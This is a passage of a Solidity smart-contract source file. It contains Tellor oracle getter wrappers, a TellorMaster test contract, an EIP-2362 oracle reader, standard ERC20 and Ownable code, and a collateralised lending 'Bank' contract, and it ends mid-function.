bytes32 hash of dispute // * @return bool executed where true if it has been voted on // * @return bool disputeVotePassed // * @return bool isPropFork true if the dispute is a proposed fork // * @return address of reportedMiner // * @return address of reportingParty // * @return address of proposedForkAddress // * @return uint of requestId // * @return uint of timestamp // * @return uint of value // * @return uint of minExecutionDate // * @return uint of numberOfVotes // * @return uint of blocknumber // * @return uint of minerSlot // * @return uint of quorum // * @return uint of fee // * @return int count of the current tally // */ // function getAllDisputeVars(uint _disputeId) public view returns(bytes32, bool, bool, bool, address, address, address,uint[9] memory, int){ // return tellor.getAllDisputeVars(_disputeId); // } // /** // * @dev Getter function for variables for the requestId being currently mined(currentRequestId) // * @return current challenge, curretnRequestId, level of difficulty, api/query string, and granularity(number of decimals requested), total tip for the request // */ // function getCurrentVariables() external view returns(bytes32, uint, uint,string memory,uint,uint){ // return tellor.getCurrentVariables(); // } // * // * @dev Checks if a given hash of miner,requestId has been disputed // * @param _hash is the sha256(abi.encodePacked(_miners[2],_requestId)); // * @return uint disputeId // function getDisputeIdByDisputeHash(bytes32 _hash) external view returns(uint){ // return tellor.getDisputeIdByDisputeHash(_hash); // } // /** // * @dev Checks for uint variables in the disputeUintVars mapping based on the disuputeId // * @param _disputeId is the dispute id; // * @param _data the variable to pull from the mapping. _data = keccak256("variable_name") where variable_name is // * the variables/strings used to save the data in the mapping. The variables names are // * commented out under the disputeUintVars under the Dispute struct // * @return uint value for the bytes32 data submitted // */ // function getDisputeUintVars(uint _disputeId,bytes32 _data) external view returns(uint){ // return tellor.getDisputeUintVars(_disputeId,_data); // } // /** // * @dev Gets the a value for the latest timestamp available // * @return value for timestamp of last proof of work submited // * @return true if the is a timestamp for the lastNewValue // */ // function getLastNewValue() external view returns(uint,bool){ // return tellor.getLastNewValue(); // } // /** // * @dev Gets the a value for the latest timestamp available // * @param _requestId being requested // * @return value for timestamp of last proof of work submited and if true if it exist or 0 and false if it doesn't // */ // function getLastNewValueById(uint _requestId) external view returns(uint,bool){ // return tellor.getLastNewValueById(_requestId); // } // /** // * @dev Gets blocknumber for mined timestamp // * @param _requestId to look up // * @param _timestamp is the timestamp to look up blocknumber // * @return uint of the blocknumber which the dispute was mined // */ // function getMinedBlockNum(uint _requestId, uint _timestamp) external view returns(uint){ // return tellor.getMinedBlockNum(_requestId,_timestamp); // } // /** // * @dev Gets the 5 miners who mined the value for the specified requestId/_timestamp // * @param _requestId to look up // * @param _timestamp is the timestamp to look up miners for // * @return the 5 miners' addresses // */ // function getMinersByRequestIdAndTimestamp(uint _requestId, uint _timestamp) external view returns(address[5] memory){ // return tellor.getMinersByRequestIdAndTimestamp(_requestId,_timestamp); // } // /** // * @dev Get the name of the token // * return string of the token name // */ // function getName() external view returns(string memory){ // return tellor.getName(); // } /** * @dev Counts the number of values that have been submited for the request * if called for the currentRequest being mined it can tell you how many miners have submitted a value for that * request so far * @param _requestId the requestId to look up * @return uint count of the number of values received for the requestId */ function getNewValueCountbyRequestId(uint _requestId) external view returns(uint){ return tellor.getNewValueCountbyRequestId(_requestId); } // /** // * @dev Getter function for the specified requestQ index // * @param _index to look up in the requestQ array // * @return uint of reqeuestId // */ // function getRequestIdByRequestQIndex(uint _index) external view returns(uint){ // return tellor.getRequestIdByRequestQIndex(_index); // } // /** // * @dev Getter function for requestId based on timestamp // * @param _timestamp to check requestId // * @return uint of reqeuestId // */ // function getRequestIdByTimestamp(uint _timestamp) external view returns(uint){ // return tellor.getRequestIdByTimestamp(_timestamp); // } /** * @dev Getter function for requestId based on the queryHash * @param _request is the hash(of string api and granularity) to check if a request already exists * @return uint requestId */ function getRequestIdByQueryHash(bytes32 _request) external view returns(uint){ return tellor.getRequestIdByQueryHash(_request); } // /** // * @dev Getter function for the requestQ array // * @return the requestQ arrray // */ // function getRequestQ() view public returns(uint[51] memory){ // return tellor.getRequestQ(); // } // /** // * @dev Allowes access to the uint variables saved in the apiUintVars under the requestDetails struct // * for the requestId specified // * @param _requestId to look up // * @param _data the variable to pull from the mapping. _data = keccak256("variable_name") where variable_name is // * the variables/strings used to save the data in the mapping. The variables names are // * commented out under the apiUintVars under the requestDetails struct // * @return uint value of the apiUintVars specified in _data for the requestId specified // */ // function getRequestUintVars(uint _requestId,bytes32 _data) external view returns(uint){ // return tellor.getRequestUintVars(_requestId,_data); // } /** * @dev Gets the API struct variables that are not mappings * @param _requestId to look up * @return string of api to query * @return string of symbol of api to query * @return bytes32 hash of string * @return bytes32 of the granularity(decimal places) requested * @return uint of index in requestQ array * @return uint of current payout/tip for this requestId */ function getRequestVars(uint _requestId) external view returns(string memory, string memory,bytes32,uint, uint, uint) { return tellor.getRequestVars(_requestId); } // /** // * @dev This function allows users to retireve all information about a staker // * @param _staker address of staker inquiring about // * @return uint current state of staker // * @return uint startDate of staking // */ // function getStakerInfo(address _staker) external view returns(uint,uint){ // return tellor.getStakerInfo(_staker); // } // /** // * @dev Gets the 5 miners who mined the value for the specified requestId/_timestamp // * @param _requestId to look up // * @param _timestamp is the timestampt to look up miners for // * @return address[5] array of 5 addresses ofminers that mined the requestId // */ // function getSubmissionsByTimestamp(uint _requestId, uint _timestamp) external view returns(uint[5] memory){ // return tellor.getSubmissionsByTimestamp(_requestId,_timestamp); // } // /** // * @dev Get the symbol of the token // * return string of the token symbol // */ // function getSymbol() external view returns(string memory){ // return tellor.getSymbol(); // } /** * @dev Gets the timestamp for the value based on their index * @param _requestID is the requestId to look up * @param _index is the value index to look up * @return uint timestamp */ function getTimestampbyRequestIDandIndex(uint _requestID, uint _index) external view returns(uint){ return tellor.getTimestampbyRequestIDandIndex(_requestID,_index); } // /** // * @dev Getter for the variables saved under the TellorStorageStruct uintVars variable // * @param _data the variable to pull from the mapping. _data = keccak256("variable_name") where variable_name is // * the variables/strings used to save the data in the mapping. The variables names are // * commented out under the uintVars under the TellorStorageStruct struct // * This is an example of how data is saved into the mapping within other functions: // * self.uintVars[keccak256("stakerCount")] // * @return uint of specified variable // */ // function getUintVar(bytes32 _data) view public returns(uint){ // return tellor.getUintVar(_data); // } /** * @dev Getter function for next requestId on queue/request with highest payout at time the function is called * @return onDeck/info on request with highest payout-- RequestId, Totaltips, and API query string */ function getVariablesOnDeck() external view returns(uint, uint,string memory){ return tellor.getVariablesOnDeck(); } /** * @dev Gets the 5 miners who mined the value for the specified requestId/_timestamp * @param _requestId to look up * @param _timestamp is the timestamp to look up miners for * @return bool true if requestId/timestamp is under dispute */ function isInDispute(uint _requestId, uint _timestamp) external view returns(bool){ return tellor.isInDispute(_requestId,_timestamp); } /** * @dev Retreive value from oracle based on timestamp * @param _requestId being requested * @param _timestamp to retreive data/value from * @return value for timestamp submitted */ function retrieveData(uint _requestId, uint _timestamp) external view returns (uint) { return tellor.retrieveData(_requestId,_timestamp); } // * // * @dev Getter for the total_supply of oracle tokens // * @return uint total supply // function totalSupply() external view returns (uint) { // return tellor.totalSupply(); // } } /**** TellorMaster Test Contract***/ /*WARNING: This contract is used for the delegate calls to the Test Tellor contract wich excludes mining for testing purposes This has bee adapted for projects testing Tellor integration **/ /** * @title Tellor Master * @dev This is the Master contract with all tellor getter functions and delegate call to Tellor. * The logic for the functions on this contract is saved on the TellorGettersLibrary, TellorTransfer, * TellorGettersLibrary, and TellorStake */ contract TellorMaster is TellorGetters{ event NewTellorAddress(address _newTellor); /** * @dev The constructor sets the original `tellorStorageOwner` of the contract to the sender * account, the tellor contract to the Tellor master address and owner to the Tellor master owner address * @param _tellorContract is the address for the tellor contract */ constructor (address _tellorContract) public{ init(); tellor.addressVars[keccak256("_owner")] = msg.sender; tellor.addressVars[keccak256("_deity")] = msg.sender; tellor.addressVars[keccak256("tellorContract")]= _tellorContract; emit NewTellorAddress(_tellorContract); } /** * @dev This function stakes the five initial miners, sets the supply and all the constant variables. * This function is called by the constructor function on TellorMaster.sol */ function init() internal { require(tellor.uintVars[keccak256("decimals")] == 0); //Give this contract 6000 Tellor Tributes so that it can stake the initial 6 miners TellorTransfer.updateBalanceAtNow(tellor.balances[address(this)], 2**256-1 - 6000e18); // //the initial 5 miner addresses are specfied below // //changed payable[5] to 6 address payable[6] memory _initalMiners = [address(0xE037EC8EC9ec423826750853899394dE7F024fee), address(0xcdd8FA31AF8475574B8909F135d510579a8087d3), address(0xb9dD5AfD86547Df817DA2d0Fb89334A6F8eDd891), address(0x230570cD052f40E14C14a81038c6f3aa685d712B), address(0x3233afA02644CCd048587F8ba6e99b3C00A34DcC), address(0xe010aC6e0248790e08F42d5F697160DEDf97E024)]; //Stake each of the 5 miners specified above for(uint i=0;i<6;i++){//6th miner to allow for dispute //Miner balance is set at 1000e18 at the block that this function is ran TellorTransfer.updateBalanceAtNow(tellor.balances[_initalMiners[i]],1000e18); //newStake(self, _initalMiners[i]); } //update the total suppply tellor.uintVars[keccak256("total_supply")] += 6000e18;//6th miner to allow for dispute //set Constants tellor.uintVars[keccak256("decimals")] = 18; tellor.uintVars[keccak256("targetMiners")] = 200; tellor.uintVars[keccak256("stakeAmount")] = 1000e18; tellor.uintVars[keccak256("disputeFee")] = 970e18; tellor.uintVars[keccak256("timeTarget")]= 600; tellor.uintVars[keccak256("timeOfLastNewValue")] = now - now % tellor.uintVars[keccak256("timeTarget")]; tellor.uintVars[keccak256("difficulty")] = 1; } /** * @dev Gets the 5 miners who mined the value for the specified requestId/_timestamp * @dev Only needs to be in library * @param _newDeity the new Deity in the contract */ function changeDeity(address _newDeity) external{ tellor.changeDeity(_newDeity); } /** * @dev allows for the deity to make fast upgrades. Deity should be 0 address if decentralized * @param _tellorContract the address of the new Tellor Contract */ function changeTellorContract(address _tellorContract) external{ tellor.changeTellorContract(_tellorContract); } /** * @dev This is the fallback function that allows contracts to call the tellor contract at the address stored */ function () external payable { address addr = tellor.addressVars[keccak256("tellorContract")]; bytes memory _calldata = msg.data; assembly { let result := delegatecall(not(0), addr, add(_calldata, 0x20), mload(_calldata), 0, 0) let size := returndatasize let ptr := mload(0x40) returndatacopy(ptr, 0, size) // revert instead of invalid() bc if the underlying call failed with invalid() it already wasted gas. // if the call returned error data, forward it switch result case 0 { revert(ptr, size) } default { return(ptr, size) } } } } /* * @title Price/numeric Pull Oracle mapping contract */ contract OracleIDDescriptions { /*Variables*/ mapping(uint=>bytes32) tellorIDtoBytesID; mapping(bytes32 => uint) bytesIDtoTellorID; mapping(uint => uint) tellorCodeToStatusCode; mapping(uint => uint) statusCodeToTellorCode; mapping(uint => int) tellorIdtoAdjFactor; /*Events*/ event TellorIdMappedToBytes(uint _requestID, bytes32 _id); event StatusMapped(uint _tellorStatus, uint _status); event AdjFactorMapped(uint _requestID, int _adjFactor); /** * @dev This function allows the user to map the tellor's Id to it's _adjFactor and * to match the standarized granularity * @param _tellorId uint the tellor status * @param _adjFactor is 1eN where N is the number of decimals to convert to ADO standard */ function defineTellorIdtoAdjFactor(uint _tellorId, int _adjFactor) external{ require(tellorIdtoAdjFactor[_tellorId] == 0, "Already Set"); tellorIdtoAdjFactor[_tellorId] = _adjFactor; emit AdjFactorMapped(_tellorId, _adjFactor); } /** * @dev This function allows the user to map the tellor uint data status code to the standarized * ADO uint status code such as null, retreived etc... * @param _tellorStatus uint the tellor status * @param _status the ADO standarized uint status */ function defineTellorCodeToStatusCode(uint _tellorStatus, uint _status) external{ require(tellorCodeToStatusCode[_tellorStatus] == 0, "Already Set"); tellorCodeToStatusCode[_tellorStatus] = _status; statusCodeToTellorCode[_status] = _tellorStatus; emit StatusMapped(_tellorStatus, _status); } /** * @dev Allows user to map the standarized bytes32 Id to a specific requestID from Tellor * The dev should ensure the _requestId exists otherwise request the data on Tellor to get a requestId * @param _requestID is the existing Tellor RequestID * @param _id is the descption of the ID in bytes */ function defineTellorIdToBytesID(uint _requestID, bytes32 _id) external{ require(tellorIDtoBytesID[_requestID] == bytes32(0), "Already Set"); tellorIDtoBytesID[_requestID] = _id; bytesIDtoTellorID[_id] = _requestID; emit TellorIdMappedToBytes(_requestID,_id); } /** * @dev Getter function for the uint Tellor status code from the specified uint ADO standarized status code * @param _status the uint ADO standarized status * @return _tellorStatus uint */ function getTellorStatusFromStatus(uint _status) public view returns(uint _tellorStatus){ return statusCodeToTellorCode[_status]; } /** * @dev Getter function of the uint ADO standarized status code from the specified Tellor uint status * @param _tellorStatus uint * @return _status the uint ADO standarized status */ function getStatusFromTellorStatus (uint _tellorStatus) public view returns(uint _status) { return tellorCodeToStatusCode[_tellorStatus]; } /** * @dev Getter function of the Tellor RequestID based on the specified bytes32 ADO standaraized _id * @param _id is the bytes32 descriptor mapped to an existing Tellor's requestId * @return _requestId is Tellor's requestID corresnpoding to _id */ function getTellorIdFromBytes(bytes32 _id) public view returns(uint _requestId) { return bytesIDtoTellorID[_id]; } /** * @dev Getter function of the Tellor RequestID based on the specified bytes32 ADO standaraized _id * @param _id is the bytes32 descriptor mapped to an existing Tellor's requestId * @return _requestId is Tellor's requestID corresnpoding to _id */ function getGranularityAdjFactor(bytes32 _id) public view returns(int adjFactor) { uint requestID = bytesIDtoTellorID[_id]; adjFactor = tellorIdtoAdjFactor[requestID]; return adjFactor; } /** * @dev Getter function of the bytes32 ADO standaraized _id based on the specified Tellor RequestID * @param _requestId is Tellor's requestID * @return _id is the bytes32 descriptor mapped to an existing Tellor's requestId */ function getBytesFromTellorID(uint _requestId) public view returns(bytes32 _id) { return tellorIDtoBytesID[_requestId]; } } pragma solidity >=0.5.0 <0.7.0; /** * @dev EIP2362 Interface for pull oracles * https://github.com/tellor-io/EIP-2362 */ interface EIP2362Interface{ /** * @dev Exposed function pertaining to EIP standards * @param _id bytes32 ID of the query * @return int,uint,uint returns the value, timestamp, and status code of query */ function valueFor(bytes32 _id) external view returns(int256,uint256,uint256); } /** * @title UserContract * This contracts creates for easy integration to the Tellor System * by allowing smart contracts to read data off Tellor */ contract UsingTellor is EIP2362Interface{ address payable public tellorStorageAddress; address public oracleIDDescriptionsAddress; TellorMaster _tellorm; OracleIDDescriptions descriptions; event NewDescriptorSet(address _descriptorSet); /*Constructor*/ /** * @dev the constructor sets the storage address and owner * @param _storage is the TellorMaster address */ constructor(address payable _storage) public { tellorStorageAddress = _storage; _tellorm = TellorMaster(tellorStorageAddress); } /*Functions*/ /* * @dev Allows the owner to set the address for the oracleID descriptors * used by the ADO members for price key value pairs standarization * _oracleDescriptors is the address for the OracleIDDescriptions contract */ function setOracleIDDescriptors(address _oracleDescriptors) external { require(oracleIDDescriptionsAddress == address(0), "Already Set"); oracleIDDescriptionsAddress = _oracleDescriptors; descriptions = OracleIDDescriptions(_oracleDescriptors); emit NewDescriptorSet(_oracleDescriptors); } /** * @dev Allows the user to get the latest value for the requestId specified * @param _requestId is the requestId to look up the value for * @return bool true if it is able to retreive a value, the value, and the value's timestamp */ function getCurrentValue(uint256 _requestId) public view returns (bool ifRetrieve, uint256 value, uint256 _timestampRetrieved) { return getDataBefore(_requestId,now,1,0); } /** * @dev Allows the user to get the latest value for the requestId specified using the * ADO specification for the standard inteface for price oracles * @param _bytesId is the ADO standarized bytes32 price/key value pair identifier * @return the timestamp, outcome or value/ and the status code (for retreived, null, etc...) */ function valueFor(bytes32 _bytesId) external view returns (int value, uint256 timestamp, uint status) { uint _id = descriptions.getTellorIdFromBytes(_bytesId); int n = descriptions.getGranularityAdjFactor(_bytesId); if (_id > 0){ bool _didGet; uint256 _returnedValue; uint256 _timestampRetrieved; (_didGet,_returnedValue,_timestampRetrieved) = getDataBefore(_id,now,1,0); if(_didGet){ return (int(_returnedValue)*n,_timestampRetrieved, descriptions.getStatusFromTellorStatus(1)); } else{ return (0,0,descriptions.getStatusFromTellorStatus(2)); } } return (0, 0, descriptions.getStatusFromTellorStatus(0)); } /** * @dev Allows the user to get the first value for the requestId before the specified timestamp * @param _requestId is the requestId to look up the value for * @param _timestamp before which to search for first verified value * @param _limit a limit on the number of values to look at * @param _offset the number of values to go back before looking for data values * @return bool true if it is able to retreive a value, the value, and the value's timestamp */ function getDataBefore(uint256 _requestId, uint256 _timestamp, uint256 _limit, uint256 _offset) public view returns (bool _ifRetrieve, uint256 _value, uint256 _timestampRetrieved) { uint256 _count = _tellorm.getNewValueCountbyRequestId(_requestId) - _offset; if (_count > 0) { for (uint256 i = _count; i > _count - _limit; i--) { uint256 _time = _tellorm.getTimestampbyRequestIDandIndex(_requestId, i - 1); if (_time > 0 && _time <= _timestamp && _tellorm.isInDispute(_requestId,_time) == false) { return (true, _tellorm.retrieveData(_requestId, _time), _time); } } } return (false, 0, 0); } } /** * @dev Interface of the ERC20 standard as defined in the EIP. Does not include * the optional functions; to access them see `ERC20Detailed`. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a `Transfer` event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through `transferFrom`. This is * zero by default. * * This value changes when `approve` or `transferFrom` are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * > Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an `Approval` event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a `Transfer` event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to `approve`. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be aplied to your functions to restrict their use to * the owner. */ contract Ownable { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { _owner = msg.sender; emit OwnershipTransferred(address(0), _owner); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(isOwner(), "Ownable: caller is not the owner"); _; } /** * @dev Returns true if the caller is the current owner. */ function isOwner() public view returns (bool) { return msg.sender == _owner; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * > Note: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public onlyOwner { _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). */ function _transferOwnership(address newOwner) internal { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } /** * @title BankStorage * This contract provides the data structures, variables, and getters for Bank */ contract BankStorage{ /*Variables*/ string name; struct Reserve { uint256 collateralBalance; uint256 debtBalance; uint256 interestRate; uint256 originationFee; uint256 collateralizationRatio; uint256 liquidationPenalty; address oracleContract; uint256 period; } struct Token { address tokenAddress; uint256 price; uint256 priceGranularity; uint256 tellorRequestId; uint256 reserveBalance; uint256 lastUpdatedAt; } struct Vault { uint256 collateralAmount; uint256 debtAmount; uint256 createdAt; } mapping (address => Vault) public vaults; Token debt; Token collateral; Reserve reserve; /** * @dev Getter function for the bank name * @return bank name */ function getName() public view returns (string memory) { return name; } /** * @dev Getter function for the current interest rate * @return interest rate */ function getInterestRate() public view returns (uint256) { return reserve.interestRate; } /** * @dev Getter function for the origination fee * @return origination fee */ function getOriginationFee() public view returns (uint256) { return reserve.originationFee; } /** * @dev Getter function for the current collateralization ratio * @return collateralization ratio */ function getCollateralizationRatio() public view returns (uint256) { return reserve.collateralizationRatio; } /** * @dev Getter function for the liquidation penalty * @return liquidation penalty */ function getLiquidationPenalty() public view returns (uint256) { return reserve.liquidationPenalty; } /** * @dev Getter function for debt token address * @return debt token price */ function getDebtTokenAddress() public view returns (address) { return debt.tokenAddress; } /** * @dev Getter function for the debt token(reserve) price * @return debt token price */ function getDebtTokenPrice() public view returns (uint256) { return debt.price; } /** * @dev Getter function for the debt token price granularity * @return debt token price granularity */ function getDebtTokenPriceGranularity() public view returns (uint256) { return debt.priceGranularity; } /** * @dev Getter function for the debt token last update time * @return debt token last update time */ function getDebtTokenLastUpdatedAt() public view returns (uint256) { return debt.lastUpdatedAt; } /** * @dev Getter function for debt token address * @return debt token price */ function getCollateralTokenAddress() public view returns (address) { return collateral.tokenAddress; } /** * @dev Getter function for the collateral token price * @return collateral token price */ function getCollateralTokenPrice() public view returns (uint256) { return collateral.price; } /** * @dev Getter function for the collateral token price granularity * @return collateral token price granularity */ function getCollateralTokenPriceGranularity() public view returns (uint256) { return collateral.priceGranularity; } /** * @dev Getter function for the collateral token last update time * @return collateral token last update time */ function getCollateralTokenLastUpdatedAt() public view returns (uint256) { return collateral.lastUpdatedAt; } /** * @dev Getter function for the debt token(reserve) balance * @return debt reserve balance */ function getReserveBalance() public view returns (uint256) { return reserve.debtBalance; } /** * @dev Getter function for the debt reserve collateral balance * @return collateral reserve balance */ function getReserveCollateralBalance() public view returns (uint256) { return reserve.collateralBalance; } /** * @dev Getter function for the user's vault collateral amount * @return collateral amount */ function getVaultCollateralAmount() public view returns (uint256) { return vaults[msg.sender].collateralAmount; } /** * @dev Getter function for the user's vault debt amount * @return debt amount */ function getVaultDebtAmount() public view returns (uint256) { return vaults[msg.sender].debtAmount; } /** * @dev Getter function for the user's vault debt amount * uses a simple interest formula (i.e. not compound interest) * @return debt amount */ function getVaultRepayAmount() public view returns (uint256 principal) { principal = vaults[msg.sender].debtAmount; uint256 periodsPerYear = 365 days / reserve.period; uint256 periodsElapsed = (block.timestamp / reserve.period) - (vaults[msg.sender].createdAt / reserve.period); principal += principal * reserve.interestRate / 10000 / periodsPerYear * periodsElapsed; } /** * @dev Getter function for the collateralization ratio * @return collateralization ratio */ function getVaultCollateralizationRatio(address vaultOwner) public view returns (uint256) { if(vaults[vaultOwner].debtAmount == 0 ){ return 0; } else { return _percent(vaults[vaultOwner].collateralAmount * collateral.price * 1000 / collateral.priceGranularity, vaults[vaultOwner].debtAmount * debt.price * 1000 / debt.priceGranularity, 4); } } /** * @dev This function calculates the percent of the given numerator, denominator to the * specified precision * @return _quotient */ function _percent(uint numerator, uint denominator, uint precision) private pure returns(uint256 _quotient) { _quotient = ((numerator * 10 ** (precision+1) / denominator) + 5) / 10; } } /** * @title Bank * This contract allows the owner to deposit reserves(debt token), earn interest and * origination fees from users that borrow against their collateral. * The oracle for Bank is Tellor. */ contract Bank is BankStorage, UsingTellor { address private _owner; /*Events*/ event ReserveDeposit(uint256 amount); event ReserveWithdraw(address token, uint256 amount); event VaultDeposit(address owner, uint256 amount); event VaultBorrow(address borrower, uint256 amount); event VaultRepay(address borrower, uint256 amount); event VaultWithdraw(address borrower, uint256 amount); event PriceUpdate(address token, uint256 price); event Liquidation(address borrower, uint256 debtAmount); /*Constructor*/ constructor(address payable oracleContract) public UsingTellor(oracleContract) { reserve.oracleContract = oracleContract; } /*Modifiers*/ modifier onlyOwner() { require(_owner == msg.sender, "IS NOT OWNER"); _; } /*Functions*/ /** * @dev Returns the owner of the bank */ function owner() public view returns (address) { return _owner; } /** * @dev This function sets the fundamental parameters for the bank * and assigns the first admin */ function init( address creator, string memory bankName, uint256 interestRate, uint256 originationFee, uint256 collateralizationRatio, uint256 liquidationPenalty, uint256 period, address payable oracleContract) public { require(reserve.interestRate == 0); // Ensure not init'd already reserve.interestRate = interestRate; reserve.originationFee = originationFee; reserve.collateralizationRatio = collateralizationRatio; reserve.oracleContract = oracleContract; reserve.liquidationPenalty = liquidationPenalty; reserve.period = period; tellorStorageAddress = oracleContract; _tellorm = TellorMaster(tellorStorageAddress); _owner = creator; // Make the creator the first admin name = bankName; } /** * @dev This function sets the collateral token properties, only callable one time */ function setCollateral( address collateralToken, uint256 collateralTokenTellorRequestId, uint256 collateralTokenPriceGranularity, uint256 collateralTokenPrice) public onlyOwner { require(collateral.tokenAddress == address(0)); // Ensure not init'd already collateral.tokenAddress = collateralToken; collateral.price = collateralTokenPrice; collateral.priceGranularity = collateralTokenPriceGranularity; collateral.tellorRequestId = collateralTokenTellorRequestId; } /** * @dev This function sets the debt token properties, only callable one time */ function setDebt( address debtToken, uint256 debtTokenTellorRequestId, uint256 debtTokenPriceGranularity, uint256 debtTokenPrice) public onlyOwner { require(debt.tokenAddress == address(0)); // Ensure not init'd already debt.tokenAddress = debtToken; debt.price = debtTokenPrice; debt.priceGranularity = debtTokenPriceGranularity; debt.tellorRequestId = debtTokenTellorRequestId; } /** * @dev This function allows the Bank owner to deposit the reserve (debt tokens) * @param amount is the amount to deposit */ function reserveDeposit(uint256 amount) external onlyOwner { require(IERC20(debt.tokenAddress).transferFrom(msg.sender, address(this), amount)); reserve.debtBalance += amount; emit ReserveDeposit(amount); } /** * @dev This function allows the Bank owner to withdraw the reserve (debt tokens) * @param amount is the amount to withdraw */ function reserveWithdraw(uint256 amount) external onlyOwner { require(reserve.debtBalance >= amount, "NOT ENOUGH DEBT TOKENS IN RESERVE"); require(IERC20(debt.tokenAddress).transfer(msg.sender, amount)); reserve.debtBalance -= amount; emit ReserveWithdraw(debt.tokenAddress, amount); } /** * @dev This function allows the user to withdraw their collateral * @param amount is the amount to withdraw */ function reserveWithdrawCollateral(uint256 amount) external onlyOwner { require(reserve.collateralBalance >= amount, "NOT ENOUGH COLLATERAL IN RESERVE"); require(IERC20(collateral.tokenAddress).transfer(msg.sender, amount)); reserve.collateralBalance -= amount; emit ReserveWithdraw(collateral.tokenAddress, amount); } /** * @dev Use this function to get and update the price for the collateral token * using the Tellor Oracle. */ function updateCollateralPrice() external { bool ifRetrieve; (ifRetrieve, collateral.price, collateral.lastUpdatedAt) = getCurrentValue(collateral.tellorRequestId); //,now - 1 hours); emit PriceUpdate(collateral.tokenAddress, collateral.price); } /** * @dev Use this function to get and update the price for the debt token * using the Tellor Oracle. */ function updateDebtPrice() external { bool ifRetrieve; (ifRetrieve, debt.price, debt.lastUpdatedAt) = getCurrentValue(debt.tellorRequestId); //,now - 1 hours); emit PriceUpdate(debt.tokenAddress, debt.price); } /** * @dev Anyone can use this function to liquidate a vault's debt, * the bank admins gets the collateral liquidated * @param vaultOwner is the user the bank admins wants to liquidate */ function liquidate(address vaultOwner) external { // Require undercollateralization require(getVaultCollateralizationRatio(vaultOwner) < reserve.collateralizationRatio * 100, "VAULT NOT UNDERCOLLATERALIZED"); uint256 debtOwned = vaults[vaultOwner].debtAmount + (vaults[vaultOwner].debtAmount * 100 * reserve.liquidationPenalty / 100 / 100); uint256 collateralToLiquidate = debtOwned * debt.price / collateral.price; if(collateralToLiquidate <= vaults[vaultOwner].collateralAmount) { reserve.collateralBalance += collateralToLiquidate; vaults[vaultOwner].collateralAmount -= collateralToLiquidate; } else { reserve.collateralBalance += vaults[vaultOwner].collateralAmount; vaults[vaultOwner].collateralAmount = 0; } reserve.debtBalance += vaults[vaultOwner].debtAmount; vaults[vaultOwner].debtAmount = 0; emit Liquidation(vaultOwner, debtOwned); } /** * @dev Use this function to allow users to deposit collateral to the vault * @param amount is the collateral amount */ function vaultDeposit(uint256 amount) external { require(IERC20(collateral.tokenAddress).transferFrom(msg.sender, address(this), amount)); vaults[msg.sender].collateralAmount += amount; emit VaultDeposit(msg.sender, amount); } /** * @dev Use this function to allow users to borrow against their collateral * @param amount to borrow */ function vaultBorrow(uint256 amount) external { if (vaults[msg.sender].debtAmount != 0) { vaults[msg.sender].debtAmount = getVaultRepayAmount(); } uint256 maxBorrow = vaults[msg.sender].collateralAmount * collateral.price / debt.price / reserve.collateralizationRatio * 100; maxBorrow *= debt.priceGranularity; maxBorrow /= collateral.priceGranularity; maxBorrow -= vaults[msg.sender].debtAmount; require(amount < maxBorrow, "NOT ENOUGH COLLATERAL"); require(amount <= reserve.debtBalance, "NOT ENOUGH RESERVES"); vaults[msg.sender].debtAmount += amount + ((amount * reserve.originationFee) / 10000); if (block.timestamp - vaults[msg.sender].createdAt > reserve.period) { // Only adjust if more than 1 interest rate period has past vaults[msg.sender].createdAt = block.timestamp; } reserve.debtBalance -= amount; require(IERC20(debt.tokenAddress).transfer(msg.sender, amount)); emit VaultBorrow(msg.sender, amount); } /** * @dev This function allows users to pay the interest and origination fee to the * vault before being able to withdraw * @param amount owed */ function vaultRepay(uint256 amount) external { vaults[msg.sender].debtAmount = getVaultRepayAmount(); require(amount <= vaults[msg.sender].debtAmount, "CANNOT REPAY MORE THAN OWED"); require(IERC20(debt.tokenAddress).transferFrom(msg.sender, address(this), amount)); vaults[msg.sender].debtAmount -= amount; reserve.debtBalance += amount; uint256 periodsElapsed = (block.timestamp / reserve.period) - (vaults[msg.sender].createdAt / reserve.period); vaults[msg.sender].createdAt += periodsElapsed * reserve.period; emit VaultRepay(msg.sender, amount); } /** * @dev Allows users to withdraw their collateral from the vault */ function vaultWithdraw(uint256 amount) external { uint256 